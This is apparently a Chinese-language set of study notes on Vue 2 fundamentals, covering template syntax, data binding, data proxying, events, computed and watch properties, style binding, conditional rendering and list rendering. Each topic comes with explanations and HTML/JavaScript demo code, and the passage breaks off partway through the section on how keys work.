Skip to content

Vue2

一、Vue核心

1.1 Vue 简介

1.1.1 官网
  1. 英文官网: https://vuejs.org/
  2. 中文官网: https://cn.vuejs.org/
1.1.2 Vue 的特点
  1. 采用组件化模式,提高代码复用率,且让代码更好维护
  2. 声明式编写DOM,提高开发效率
  3. 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点

1.2 初识Vue

  1. 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;

  2. root容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;

  3. root 容器里的代码被称为 Vue模板

  4. 容器与Vue实例一一对应

  5. 真实开发中只有一个Vue实例,并且会配合着组件一起使用

  6. (插值语法)内部可以包含任意的 JavaScript 表达式,且xxx会自动读取到data中所有的属性

  7. 一旦data中的数据发生改变,那么模板中用到该数据的地方也会自动更新

注意区分:js表达式 和 js代码(语句)

  1. 表达式:一个表达式产生一个值,可以放在任何一个需要值的地方

    eg:a,a+b,demo(1),x === y ? "a" : b

  2. js代码(语句)

    eg:if(){},for(){}

html
    <title>初识Vue</title>
    <!-- 引入Vue.js 开发者模式 -->
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器  -->
    <div id="root">
      <h1>Hello {{name}},{{1+1}}</h1>
      <h1>
        Hi {{user.toUpperCase()}},{{new Date(Date.now()).toLocaleString()}}
      </h1>
      <!-- {{}} 内部可以包含任意的 JavaScript 表达式 -->
    </div>

    <script>
      Vue.config.productionTip = false; // 设置为 false 以阻止 vue 在启动时生成生产提示。

      // 创建Vue实例  容器与Vue实例一一对应
      new Vue({
        el: "#root", // el用于指定当前Vue实例为哪个容器服务,值通常为CSS选择器字符串。
        data: {
          // data中用于存储数据,数据供el所指定的容器使用,值我们暂时先写成对象
          name: "Vue",
          user: "yibu-xiaoxin",
        },
      });
    </script>
  </body>

1.3 模板语法

Vue 模板语法有两大类:

  1. 插值语法()

    功能:用于解析标签体内容

    写法:,xxx是 js 表达式、并且可以直接读取到vm中的所有属性

  2. 指令语法(以 v-开头)

​ 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件......)

​ 举例:v-bind:href = "xxx" 或简写为::href = "xxx",xxx同样要写 js 表达式,且可以直接读取到data中的所有属性

​ 备注:Vue中有很多的指令,且形式都是:v-??? ,此处我们只是拿 v-bind 举例

注意:只有 v-bind: 可以简写为 :

html
<title>模板语法</title>
    <!-- 引入 Vue -->
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h1>插值语法</h1>
      <!-- 插值语法往往用于指定标签体内容 -->
      <h3>你好 {{name}}</h3>
      <hr />
      <h1>指令语法</h1>
      <!-- 指令语法用于解析标签 -->
      <a v-bind:href="school.url" x="hello">点我{{school.name}}学习1</a>
      <!-- v-bind:属性名="js表达式" 可以为标签内的任何一个属性动态的保存属性值-->
      <a :href="school.url.toUpperCase()" x="hello">点我{{school.name}}学习2</a>
      <!-- v-bind: ===> : -->
    </div>
  </body>
  <script>
    Vue.config.productionTip = false; // 阻止 vue 在启动时生成的生产提示
    // 创建一个 Vue 实例
    new Vue({
      el: "#root", 
      data: {
        name: "jack",
        school: {
          name: "尚硅谷",
          url: "http://www.atguigu.com",
        },
      },
    });
  </script>

1.4 数据绑定

Vue中有2种数据绑定的方式:

  1. 单向绑定(v-bind):数据只能从 data 流向页面

  2. 双向绑定(v-model):数据不仅能从 data 流向页面,还可以从页面流向 data ,一般用于表单元素可以获取到用户输入的内容

    备注:

    1. 双向绑定一般都应用在表单类元素上(如:input、select等)
    2. v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值
html
<title>数据绑定</title>
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <!-- 准备一个容器 -->
    <div id="root">
      <!-- 普通写法 -->
      <!-- v-bind 绑定属性值为单向绑定 -->
      单向数据绑定:<input type="text" v-bind:value="name" /><br />
      <!-- v-model:双向数据绑定 -->
      双向数据绑定:<input type="text" v-model:value="name" /><br />
      <!-- 如下代码是错误的 v-model 只能应用于表单(输入类)元素上 用于捕获用户的输入 -->
      <!-- <h2 v-model:x="name">你好</h2> -->

      <!-- 简写 常用写法-->
      单向数据绑定:<input type="text" :value="name" /><br />
      双向数据绑定:<input type="text" v-model="name" /><br />
    </div>
  </body>
  <script>

    // 创建一个Vue实例
    new Vue({
      el: "#root",
      data: {
        name: "Vue",
      },
    });
  </script>

1.5 el与data的两种写法

1.5.1 el 的两种写法
  1. new Vue 时配置 el 属性
  2. 先创建 Vue 实例,随后再通过 vm.$mount("#root")指定 el 的值

两种写法都可以

1.5.2 data的两种写法
  1. 对象式
  2. 函数式

在使用组件时,data 必须使用函数式,否则会报错

注意:

​ 由 Vue 管理的函数,一定不要使用箭头函数,一旦使用了箭头函数,this 将不再指向 Vue 实例

html
<title>el与data的两种写法</title>
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <!-- 准备一个div元素,用于挂载组件 -->
    <div id="root">
      <h1>你好,{{name}}</h1>
    </div>
  </body>
  <script>
    Vue.config.productionTip = false;

    // 1. el 的两种写法 两种写法皆可
    const v = new Vue({
      // el: "#root", // 第一种写法
      data: {
        name: "小明",
      },
    });
    console.log(v);

    // 将组件挂载到页面上
    v.$mount("#root"); // 第二种写法

    // 2. data的两种写法 使用组件时必须使用函数式写法
    new Vue({
      el: "#root",
      // 第一种写法:对象式
      /* data: {
        name: "小明",
      }, */
      // 第二种写法:函数式
      data() {
        // 注意:此处的函数必须为普通函数,不能为箭头函数
        console.log(this); // 此处的this为Vue实例对象
        return {
          name: "小明",
        };
      },
    });
  </script>

1.6 MVVM模型

  1. M:模型(Model) :对应 data 中的数据
  2. V:视图(View) :模板
  3. VM:视图模型(ViewModel) : Vue 实例对象

image-20240306112808687

image-20240815202653637

经常会使用 vm (ViewModel 的缩写) 这个变量名表示 Vue 实例。

观察发现:

  1. data中的所有属性,最后都出现在了 vm 身上
  2. vm 身上的所有属性及 Vue 原型上的所有属性,在 Vue 模板中都可以直接使用(即在插值语法和指令中可以直接访问vm上的属性和方法)
html
<title>MVVM模型</title>
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <!-- 准备一个容器 -->
    <div id="root">
      <h1>学校名称 {{name}}</h1>
      <h1>学校地址 {{address}}</h1>
      <h1>测试一下1 {{1+1}}</h1>
      <h1>测试一下2 {{$off}}</h1>
      <h1>测试一下3 {{_c}}</h1>
      <!-- vm上的所有属性及Vue原型上的所有属性,都可以在模板中使用 -->
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          name: "尚硅谷",
          address: "北京",
        };
      },
    });
    console.log(vm); // vm Vue实例对象
    // data 上的数据最终会出现在 VM 中
  </script>

1.7 数据代理

1.7.1 回顾Object.defineproperty方法

Object.defineproperty: 为对象添加属性,并可以使用getter和setter将该属性和其它变量关联起来(数据代理)

html
<title>回顾Object.defineproperty方法</title>
  </head>
  <body>
    <script>
      let number = 18;

      let person = {
        name: "张三",
        sex: "男",
      };

      // Object.defineproperty: 为对象添加属性,并可以使用getter和setter将该属性和变量关联起来
      // 为perosn对象添加一个age属性
      Object.defineProperty(person, "age", {
        /* value: 18,
        writable: true, // 控制属性是否可以被修改,默认值为false
        enumerable: false, // 控制属性是否可以枚举(遍历),默认值为false
        configurable: false, // 控制属性是否可以被删除,默认值为false */

        // 需求:更改number的值 age的值自动更新为number的值
        // 每次读取person的age属性值时 get函数(getter)就会被调用,且返回值为age的值
        get() {
          console.log("有人读取age属性了");
          return number; // 返回的number值为age的值
        },
        // 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
        set(value) {
          console.log("有人修改age属性了且值是", value);
          number = value;
        },
      });

      console.log(Object.keys(person));

      console.log(person);
    </script>
1.7.2 何为数据代理

数据代理:通过一个对象中的属性代理对另一个对象中属性的操作(读/写)

html
<title>何为数据代理</title>
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写) -->
  </body>
  <script>
    // 通过obj2 可以读/写 obj中的 x 属性
    let obj = { x: 100 };
    let obj2 = { y: 200 };

    Object.defineProperty(obj2, "x", {
      // 通过 obj2 访问obj的 x 属性
      get() {
        return obj.x;
      },
      // 通过 obj2 修改obj的 x 属性
      set(value) {
        obj.x = value;
      },
    });
  </script>
1.7.3 Vue中的数据代理
  1. Vue中的数据代理:

    通过 vm 对象来数据代理 vm._data(即data中的数据) 对象中属性的操作(读/写)

  2. Vue中数据代理的好处:

    更加方便的操作 data 中的数据

  3. 基本原理:

    通过Object.defineProperty()的getter和setter把 vm._data 对象中的所有属性数据代理到 vm 中

    为每添加到 vm 上的属性,都指定一个 getter/setter

    在getter/setter内部去操作(读/写)data中对应的属性

    getter方法返回的是 vm._data.属性名 setter 方法设置的是 vm. _data.属性名 = val

image-20240306133744110

html
<title>Vue中的数据代理</title>
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>学校名称:{{name}}</h2>
      <h2>学校地址:{{address}}</h2>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root", // 挂载元素
      data() { // data中的属性会被 vm 对象进行数据代理
        return {
          name: "尚硅谷",
          address: "北京",
        };
      },
    });
    console.log(vm);
  </script>

vm 实例对象中的 _data 属性保存着 data 方法中的数据,并设置 getter和setter方法动态监视data中数据的变化,并对模板进行重新解析

在将 _data 中的数据代理到 vm 中,为了方便模板语法使用data中的数据

模板语法,可以直接访问到 vm和Vue 原型中的属性,当data 发生变化时,Vue 会重新解析模板

使用数据代理的根本原因:插值语法,xxx能访问到 vm中的所有属性和Vue原型中的所有属性,不能直接访问_data中的属性,为了方便操作 _data 中的属性,因此在 vm 中数据代理了 _data中保存的 data 中的数据

1.8 事件处理

1.8.1 事件的基本使用
  1. 使用 v-on:xxx=“回调函数名/JS表达式” 或 @xxx=“回调函数名/JS表达式” 绑定事件,其中xxx为事件名
  2. 事件的回调函数需要配置在 methods 对象中最终会在vm上
  3. methods 中配置的函数,不要使用箭头函数!否则 this 就不是 vm 了
  4. methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象
  5. @click=“demo” 和 @click=“demo($event)” 效果一致,但后者在传递其它参数时可以保证事件对象 event 不丢失
  6. 为绑定的事件回调传参 @click="demo($event,参数1,参数2...)" 如果不需要event可以不写$event
html
<title>事件的基本使用</title>
    <!-- 引入Vue.js -->
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <button v-on:click="showInfo1">点我提示信息(不传参)</button>
      <!-- v-on:cilck 简写为 @click 常用 -->
      <!-- 为事件回调传递参数 -->
      <button @click="showInfo2(66,$event)">点我提示信息(传参)</button>
      <!-- $event 避免为回调函数传递参数而丢失 event -->
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          name: "b站",
        };
      },
      methods: {
        showInfo1(event) {
          console.log(event.target.innerText);
          console.log(this === vm); // 此处的this为vm实例对象(除箭头函数)
          alert("同学你好!");
        },
        showInfo2(number, event) {
          console.log(event);
          alert(`同学你好!!${number}`);
        },
      },
    });
  </script>

tips:click="xxx" xxx可以为一个函数名,也可以是一段简单代码 引号内可以访问vm实例中的属性

html
<button @click="isHot=!isHot;">切换天气</button> // 点击按钮时,将isHot属性值取反
1.8.2 事件修饰符

Vue中的事件修饰符:

  1. prevent:阻止默认事件(常用)

  2. stop:阻止事件冒泡(常用)

  3. once:事件只触发一次(常用)

  4. capture:使用事件的捕获模式

    1. self:只有 event.target 是当前操作的元素时才触发
  5. passive:事件的默认行为立即执行,无需等待事件回调函数执行完毕(一般事件需要先执行事件回调,等事件回调执行完毕,再执行默认行为)

html
<div id="root">
      <h2>欢迎来到{{name}}学习</h2>

      <!-- prevent:阻止默认事件(常用) -->
      <a href="https://www.bilibili.com/" @click.prevent="showInfo"
        >点我提示信息,a标签不会跳转</a
      >

      <!-- stop:阻止事件冒泡(常用) -->
      <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息, 会阻止事件冒泡</button>
      </div>

      <!-- once:事件只触发一次(常用) -->
      <button @click.once="showInfo">我只能提示一次</button>

      <!-- capture:使用事件的捕获模式 -->
      <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">点我事件捕获</div>
      </div>

      <!-- self:只有 event.target 是当前操作的元素时才触发 -->
      <div class="demo1" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
      </div>
    </div>
  </body>
  <script>
    new Vue({
      el: "#root",
      data() {
        return {
          name: "b站",
        };
      },
      methods: {
        showInfo(e) {
          // e.preventDefault();// 阻止默认行为
          // e.stopPropagation();// 阻止事件冒泡
          alert("同学你好!");
          console.log(e.target);
        },
        showMsg(msg) {
          console.log(msg);
        },
      },
    });
  </script>

tips:

事件修饰符可以连缀使用

html
<a href="https://www.bilibili.com/" @click.prevent.stop="showInfo"
    >点我提示信息, 会阻止事件冒泡</a
  >
1.8.3 键盘事件
  1. Vue中常用的按键别名: 回车 => enter

    删除 => delete(捕获"删除"和”退格“键)

    退出 => esc

    空格 => space

    换行 => tab(特殊,必须配合 keydown 使用)

    上 => up

    下 => down

    左 => left

    右 => right

  2. Vue未提供别名的键名,可以使用按键原始的 key 值(键名)去绑定,但要注意转换为 caps-lock(短横线命名,全小写)

  3. 系统修饰键(用法特殊):ctrl,alt,shift,win

    • 配合 keyup 使用:按下修饰键的同时,再按下其它键,随后释放其他键,事件才触发
    • 配合 keydown 使用:正常触发事件
  4. 也可以使用 keyCode 去指定具体的按键(不推荐)

  5. Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

html
<title>键盘事件</title>
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo" />
      <input type="text" placeholder="按下caps lock提示输入" @keyup.caps-lock="showInfo" />
      <input type="text" placeholder="按下 tab 提示输入" @keydown.tab="showInfo" />
      <input type="text" placeholder="按下 ctrl 提示输入" @keyup.ctrl="showInfo" />
      <input type="text" placeholder="按下 ctrl 提示输入" @keydown.ctrl="showInfo" />
      <input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo" />
      <input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo" />
      <!-- .enter 按键别名 -->
    </div>
  </body>
  <script>
    Vue.config.keyCodes.huiche = 13; // 自定义了一个回车按键

    new Vue({
      el: "#root",
      data() {
        return {
          name: "b站",
        };
      },
      methods: {
        showInfo(e) {
          // if(e.keyCode !== 13) return;
          console.log(e.target.value);
          // console.log(e.key,e.keyCode); //e.key 为按键名 e.keyCode 为按键码
        },
      },
    });
  </script>

tips:

使用系统修饰键,ctrl+y 触发事件

html
<input type="text" placeholder="按下 ctrl+y 提示输入" @keyup.ctrl.y="showInfo" />

1.9 计算属性

1.9.1 计算属性基本使用
  1. 定义:要用的属性不存在,要通过已有的属性(data内配置的数据)计算得来

  2. 原理:底层借助了Object.defineproperty 方法提供的 getter 和 setter

  3. get 函数什么时候执行?

    • 初次读取时会执行一次

    • 当依赖的数据发生改变时会被再次调用

  4. 优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。

  5. 备注:

    • 计算属性最终会出现在 vm 上,直接读取计算属性名即可。
    • 如果计算属性要被修改,那么必须写 set 函数去响应修改,且set中要使计算时依赖的数据发生改变

姓名案例-计算属性实现

html
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
      姓:<input type="text" v-model="firstName" /><br />
      <!-- v-model 双向绑定 -->
      名:<input type="text" v-model="lastName" /><br />
      姓名 <span>{{fullName}}</span>
      <!-- 使用计算属性 fullName -->
      <!-- 模板语法内可以使用 vm实例中的所有属性 -->
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        // 注意:当data发生了改变,模板一定会重新进行解析
        return {
          // 属性: data里配置的数据
          firstName: "张",
          lastName: "三",
        };
      },
      // 计算属性  存在于 vm 实例上
      computed: {
        fullName: { // 计算属性存在缓存,当依赖计算的属性发生变化时会重新计算
          // fullName计算属性名,会出现在 vm 中
          // get有什么作用?当有人读取 fullName 时,get就会被调用,且返回值就作为fullName的值
          // get什么时候调用?1.初次读取fullName时 2.所依赖的数据发生变化时
          get() {
            console.log("get被调用了");
            console.log(this); // vm
            return `${this.firstName}-${this.lastName}`;
          },
          // set什么时候调用? 当 fullName 被修改时
          set(value) { // value 为修改后的fullName值
            console.log("fullName被修改为:", value);
            // 改变fullName依赖计算的属性,实现重新计算fullName
            [this.firstName,this.lastName]= value.split("-");
            //split("-")将字符串按照指定字符分割成数组,在对数组进行解构赋值
          },
        },
      },
    });
  </script>
1.9.2 计算属性完整写法

对计算属性读和修改需要使用 getter 和 setter

js
computed: {
  // 完整写法
  fullName: {   // fullName为计算属性名
    get() {  // 获取计算属性的值
      return `${this.firstName}-${this.lastName}`; // this:vm
    },
    set(value) { // 修改计算属性的值
      console.log("fullName被修改为:", value);
      [this.firstName, this.lastName] = value.split("-");
    },
  },
},
1.9.3 计算属性的简写方式

当计算属性只读不做修改时,可以进行简写

js
// 当计算属性只读不做修改时,可以进行简写
  fullName() { // 函数作为get函数使用
    return `${this.firstName}-${this.lastName}`;
  },

1.10 监视属性

1.10.1 监视属性基本用法
  1. 当被监视的属性变化时,回调函数(handler)自动调用,进行相关操作
  2. 监视的属性必须存在,才能进行监视,可以为计算属性
  3. 监视属性的两种写法
    1. new Vue 时传入 watch 配置
    2. 通过 vm.$watch("属性名",{配置项}) 监视

天气案例_监视属性

html
<title>天气案例_监视属性</title>
    <!-- 引入Vue.js -->
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>今天天气很{{weather}}</h2>
      <button @click="changeWeather">切换天气</button>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          isHot: true,
        };
      },
      // 计算属性
      computed: {
        weather() {
          return this.isHot ? "炎热" : "凉爽";
        },
      },
      // 方法
      methods: {
        changeWeather() {
          this.isHot = !this.isHot;
        },
      },
      // 监视属性
      watch: {
        isHot: {// isHot:要被监视的属性名
          immediate: true, // 初始化时让 handler 调用一下
          // handler什么时候调用? 当isHot发生改变时
          handler(newValue, oldValue) {
            // handler有两个参数 newValue:修改后的值,oldValue:修改前的值
            console.log(
              `天气变化为:${newValue},之前的天气为:${oldValue}`
            );
          },
        },
        weather: {// 可以监视计算属性
          immediate: true, // 初始化时让 handler 立即执行一次
          handler(newValue, oldValue) {
            console.log(
              `计算属性weather被修改了,新值为:${newValue},旧值为:${oldValue}`
            );
          },
        },
      },
    });
    
    // 使用 vm 监视属性
    vm.$watch("isHot",{
      handler(newValue,oldValue){
        immediate: true,
        console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
      }
    })
  </script>
1.10.2 深度监视
  1. Vue 中的 watch 默认不监测对象内部值的改变(watch不能监视多级结构中的属性)
  2. 为 watch 中监视的属性添加 deep:true 实现监视多级结构中的属性

备注:

  1. Vue 自身可以监视对象内部值的变化,但 Vue 提供的 watch 默认不可以
  2. 使用 watch 时根据数据的具体结构,决定是否采用深度监视
html
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h3>a的值是{{numbers.a}}</h3>
      <button @click="numbers.a++">点我让a+1</button>
      <h3>b的值是{{numbers.b}}</h3>
      <button @click="numbers.b++">点我让b+1</button>
      <button @click="numbers = {a:666,b:888}">彻底替换掉 numbers</button>
      <h3>c多及结构下的c的值为{{numbers.c.d.e}}</h3>
      <button @click="numbers.c.d.e++">点我让e+1</button>
      <!-- Vue 自身可以监视到对象内部值的变化,当值发生变化时会自动更新模板里的内容 -->
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          numbers: {
            // 多级结构的属性
            a: 1,
            b: 1,
            c:{
              d:{
                e:100
              }
            }
          },
        };
      },
      // 监视属性
      watch: {
        // 监视多级结构中某个属性的变化
        "numbers.a": {
          //对象的键值为字符串
          handler(newValue, oldValue) {
            console.log(`a变化为:${newValue},之前的a为:${oldValue}`);
          },
        },
        // 监视多级结构中的所有属性的变化
        numbers: {
          deep: true, // 开启深度监视 当number 下的a/b发生变化时都会执行handler
          handler() {
            console.log("numbers发生了变化");
          },
        },
      },
    });
  </script>
</html>
1.10.3 监视属性的简写

前提:只使用handler(),而不使用immediate,deep 等配置

js
// 实现监视的第一种写法
	watch: {
        // 正常写法
        isHot: {  // isHot 要监视的属性
          // immediate: true, // 初始化时让 handler 调用一下
          // deep:true,  // 深度监视
          handler(newValue, oldValue) {
            console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
          },
        },
        // 简写 前提:只使用handler(),而不使用immediate,deep 等配置
        isHot(newValue,oldValue){ // 该方法为handler方法
          console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
        }
      },
          
// 实现监视的第二种写法
      // 正常写法
      vm.$watch("isHot",{
      immediate:true,
      deep:true,
      handler(newValue,oldValue){
        console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
      }
     })

    // 简写 前提:只使用handler(),而不使用immediate,deep 等配置
    vm.$watch("isHot", function (newValue, oldValue) {
      console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
    });
1.10.4 watch对比computed

computed和watch 之间的区别:

  1. computed 能完成的功能,watch 都能完成,computed 较为简单
  2. watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作(定时器)。

两个重要的小原则:

  1. 所有被 Vue 所管理的函数,最好写成普通函数,这样this的指向才是 vm 或 组件实例对象,不是被 Vue 管理的函数最好写为箭头函数,这样 this 的指向才是 vm 或 组件实例对象。
  2. 所有不被 Vue 所管理的函数(定时器的回调函数,ajax的回调函数,Promise的回调函数等),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象

姓名案例_watch实现

html
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
      姓:<input type="text" v-model="firstName" /><br />
      <!-- v-model 双向绑定 当输入框内的数据发生变化时,data中的数据也会发生变化-->
      名:<input type="text" v-model="lastName" /><br />
      姓名 <span>{{fullName}}</span>
      <!-- 模板语法 内可以使用 vm实例中的所有属性 -->
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        // 注意:当data发生了改变,模板一定会重新进行解析
        return {
          firstName: "张",
          lastName: "三",
          fullName: "张-三", 
        };
      },
      watch: {
        firstName(val) {
          setTimeout(() => {
            // 注意:此处需要使用箭头函数,而不能使用普通函数因为:
            // setTimeout是window下的属性this指向window, 而使用箭头函数setTimeout中的this会指向外层this即vm
            this.fullName = val + "-" + this.lastName; // 当监视到姓发生改变时,修改fullName
          }, 1000);
        },
        lastName(val) {
          this.fullName = this.firstName + "-" + val;
        },
      },
    });
  </script>

1.11 绑定样式

  1. class样式

    写法::class="xxx" xxx可以是字符串、数组、对象

    • 字符串写法适用于:类名不确定,要动态获取
    • 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定
    • 对象写法适用于:要绑定多个样式,个数确定,名字确定,但不确定是否使用
  2. style样式

    写法:

    • :style="{fontSize: xxx}" 其中xxx是动态值
    • :style= "[a,b]" 其中a、b是样式对象
html
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- 绑定 class 样式  字符串写法,适用于:样式的类名不确定,需要动态指定-->
      <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
      <br />
      <!-- :class ==> v-bind:class 数据绑定 将变化的class绑定到data中的属性上 -->
      <!-- :class="xxx" Vue会将xxx进行解析,和class中的值进行拼接 -->

      <!-- 绑定 class 样式 数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
      <div class="basic" :class="classArr">{{name}}</div>
      <br />

      <!-- 绑定 class 样式 对象写法,适用于:要绑定的样式个数确定,名字也确定、但要动态决定是否使用 -->
      <div class="basic" :class="classObj">{{name}}</div>

      <!-- 绑定 style 样式 对象写法 -->
      <!-- <div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div> -->
      <!-- :style="{fontSize: fsize+'px'}" 引号内的{fontSize: fsize+'px'}为一段js代码Vue会自动解析执行 -->
      <div class="basic" :style="styleObj">{{name}}</div>
      <!-- 绑定 style 样式 数组写法 -->
      <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          name: "点我变样式",
          mood: "normal",
          classArr: ["atguigu1", "atguigu2", "atguigu3"],
          classObj: {
            atguigu1: false, // 是否使用atguigu1
            atguigu2: true, // 是否使用atguigu2
          },
          styleObj:{
            fontSize: "40px", 
            color: "red",
          },
          styleObj2:{
            backgroundColor: "yellow",
          }
        };
      },
      methods: {
        changeMood() {
          const arr = ["happy", "sad", "normal"]; // 随机更换心情
          this.mood = arr[Math.floor(Math.random() * arr.length)];
        },
      },
    });
  </script>

tips:

将动态变化的样式进行样式绑定,不需要动态改变的正常写

Vue 会自动将动态绑定的值和原有的值进行拼接

vue
<div :class="isShow && '类名'">动态类名</div> // isShow:true/false
<div :class="{ 类名: isShow }">动态类名</div>
<div :style="{ color: isShow ? 'red' : 'blue' }">动态样式</div>
<div :style="{ color: fontColor }">动态样式</div>  // fontColor:"red"/...

1.12 条件渲染

  1. v-if

    写法:

    1. v-if=”表达式“ 表达式的值为 true:显示、false:隐藏
    2. v-else-if="表达式"
    3. v-else="表达式"

    适用于:切换频率较低的场景

    特点:不展示(v-if为false)的DOM元素直接被移除(卸载)

    注意:v-if 可以和:v-else-if,v-else 一起使用,但要求结构不能被“打断”(中间不能存在非 v-else-if 的DOM)

  2. v-show

    写法:v-show="表达式"

    适用于:切换频率较高的场景

    特点:不展示(v-show为false)的DOM元素未被移除,仅仅是使用样式隐藏掉(添加 display:none)

  3. 备注:使用 v-if 时,元素可能无法获取到(元素被移除),而使用 v-show 一定可以获取到(元素被隐藏)

html
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- 使用 v-show 作条件渲染 -->
      <h2 v-show="false">欢迎来到{{name}}</h2>
      <!-- v-show="false"隐藏元素,为元素添加 display:none -->
      <h2 v-show="1===1">欢迎来到{{name}}</h2>
      <h2 v-show="a">欢迎来到{{name}}</h2>
      <!-- 使用 a的值动态控制显示隐藏 -->

      <!-- 使用 v-if 作条件渲染 -->
      <h2 v-if="false">欢迎来到{{name}}</h2>
      <!-- v-if="false" 会将DOM元素删除 -->
      <h2 v-if="1 === 1">欢迎来到{{name}}</h2>

      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>

      <!-- 元素切换频繁时,使用v-show 不删除DOM节点-->
      <div v-show="n === 1">Angular</div>
      <div v-show="n === 2">React</div>
      <div v-show="n === 3">Vue</div>

      <!-- v-if v-else-if和v-else -->
      <!-- 元素切换不频繁时,使用v-if 会删除DOM节点-->
      <div v-if="n === 1">Angular</div>
      <div v-else-if="n === 2">React</div>
      <!-- <div>aa</div> 中间不能存在其它的DOM元素 -->
      <div v-else-if="n === 3">Vue</div>
      <div v-else>其他</div>

      <!-- v-if 与 template 的配合使用 -->
      <!-- template不会被渲染,不会破坏DOM结构,但 template只能配合 v-if 使用 -->
      <template v-if="n===1"> 
        <h2>你好</h2>
        <h2>xx</h2>
        <h2>北京</h2>
      </template>

    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data: {
        // data中的数据发生改变整个模板将会重新进行解析
        name: "Vue.js",
        a: false,
        n: 0,
      },
    });
  </script>

tips:

v-if 与 template 的配合使用

template作为外层标签不会被渲染,不会破坏DOM结构,但 template 只能配合 v-if 使用

html
<template v-if="n===1"> 
  <h2>你好</h2>
  <h2>xx</h2>
  <h2>北京</h2>
</template>

1.13 列表渲染

1.13.1 基本列表

v-for 指令

  1. 用于展示列表数据
  2. 语法:v-for="(item,index) of/in xxx" :key="yyy"
  3. 可遍历:数组(常用)、对象、字符串、指定次数
html
  	<body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- v-for 遍历数组 (常用)-->
      <h2>人员列表(遍历数组)</h2>
      <ul>
        <li v-for="p in persons" :key="p.id">{{p.name}}-{{p.age}}</li>
        <!-- :key 是li标签的唯一标识 index:下标可以作为唯一标识 -->
        <li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}</li>
        <!-- 使用 in和of 都可以 -->
      </ul>

      <!-- v-for 遍历对象 -->
      <h2>汽车信息(遍历对象)</h2>
      <ul>
        <li v-for="(value,key) of car" :key="key">{{key}}:{{value}}</li>
      </ul>

      <!-- v-for 遍历字符串 -->
      <h2>遍历字符串</h2>
      <ul>
        <li v-for="(char,index) of str" :key="index">{{index}},{{char}}</li>
      </ul>

      <!-- v-for 遍历指定次数 -->
      <h2>遍历指定次数</h2>
      <ul>
        <li v-for="(number,index) of 5" :key="index">{{index}}-{{number}}</li>
      </ul>

    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          persons: [
            { id: "001", name: "张三", age: "18" },
            { id: "002", name: "李四", age: "19" },
            { id: "003", name: "王二狗", age: "20" },
          ],
          car: {
            name: "奥迪",
            price: "70w",
            color: "黑色",
          },
          str:'hello'
        };
      },
    });
  </script>
1.13.2 key的作用与原理

面试题:react、vue中的 key 有什么作用?(key的内部原理)

  1. 虚拟DOM中 key 的作用:

    key 是虚拟DOM对象的标识,当数据发生变化时,Vue会根据 "新数据" 生成 "新的虚拟DOM",随后Vue进行 "新虚拟DOM" 与 "旧虚拟DOM" 的差异比较,比较规则如下:

  2. 对比规则:

    1. 旧虚拟DOM中找到了与新虚拟DOM相同的key:

